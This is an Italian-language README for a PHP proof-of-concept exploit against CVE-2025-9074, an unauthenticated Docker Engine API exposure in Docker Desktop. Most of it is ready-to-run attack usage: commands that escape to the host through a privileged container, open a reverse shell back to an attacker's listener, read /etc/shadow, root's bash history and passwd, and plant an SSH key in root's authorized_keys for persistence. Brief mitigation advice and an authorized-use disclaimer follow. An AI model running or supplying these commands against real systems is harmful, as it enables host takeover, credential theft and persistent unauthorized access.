
PHP poc, exploit per CVE-2025-9074
Gravità: CRITICA | Punteggio CVSS: 9.8 (stimato) | Versioni interessate: Docker Desktop < 4.44.3
Una proof-of-concept per CVE-2025-9074, una vulnerabilità di Remote Code Execution non autenticata nell'API di Docker Engine che consente l'escape da container privilegiati e il compromesso del sistema host.
CVE-2025-9074 è una vulnerabilità critica in Docker Desktop che espone l'API di Docker Engine senza una corretta autenticazione o isolamento di rete. Ciò consente ad attaccanti remoti di:
La vulnerabilità interessa:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Esegui un singolo comando sull'host Docker:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Stabilisci una reverse shell interattiva:
# Terminale 1: Avvia il listener
nc -lvnp 4444
# Terminale 2: Esegui l'exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
Esegui singoli comandi sul target:
# Comando semplice
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Leggi file dall'host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# Con cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Genera una shell interattiva con callback:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumera il sistema host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Estrai file sensibili
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Aggiungi chiave SSH
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumera i container e le reti in esecuzione
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 senza autenticazione/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs┌─────────────────────────────────────────────────────┐
│ poc.php (La tua macchina) │
└────────────┬────────────────────────────────────────┘
│ Chiamata API REST HTTP
▼
┌─────────────────────────────────────────────────────┐
│ API Docker (Porta target 2375) [SENZA AUTENTICAZIONE]│
└────────────┬────────────────────────────────────────┘
│ Crea container
▼
┌─────────────────────────────────────────────────────┐
│ Container Alpine privilegiato │
│ ├─ Accesso root completo │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Esegue il comando dell'attaccante │
└────────────┬────────────────────────────────────────┘
│ Output del comando
▼
┌─────────────────────────────────────────────────────┐
│ Output restituito all'attaccante │
└─────────────────────────────────────────────────────┘
Aggiorna Docker Desktop
# Aggiorna alla versione 4.44.3 o successiva
Isolamento di rete
Abilita l'autenticazione TLS
# Configura il daemon Docker con certificati TLS
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Segmentazione della rete
/var/run/docker.sock) solo per l'accesso locale# Scansiona le API Docker esposte
nmap -p 2375,2376 -sV target_network
# Verifica se la porta risponde all'API Docker
curl -s http://target:2375/version
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
I contributi sono benvenuti! Non esitare a inviare issue o pull request.
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.
Ricercatore di Sicurezza | Penetration Tester
Ultimo aggiornamento: Maggio 2025 | Stato: Ricerca attiva
| Opzione | Breve | Obbligatoria | Descrizione |
|---|
--url | -u | ✅ Sì | URL API Docker (es., http://1.2.3.4:2375) |
--mode | -m | ❌ No | Modalità di esecuzione: cmd o reverse (predefinita: cmd) |
--cmd | -c | ⚠️ Per modalità cmd | Comando da eseguire sul target |
--lhost | -l | ⚠️ Per modalità reverse | Il tuo indirizzo IP per il callback |
--lport | -p | ❌ No | La tua porta in ascolto (predefinita: 4444) |
--os | — | ❌ No | Sistema operativo target: linux, mac, windows (predefinito: linux) |
--cleanup | — | ❌ No | Rimuovi il container dopo l'esecuzione |
--help | -h | ❌ No | Mostra il messaggio di aiuto |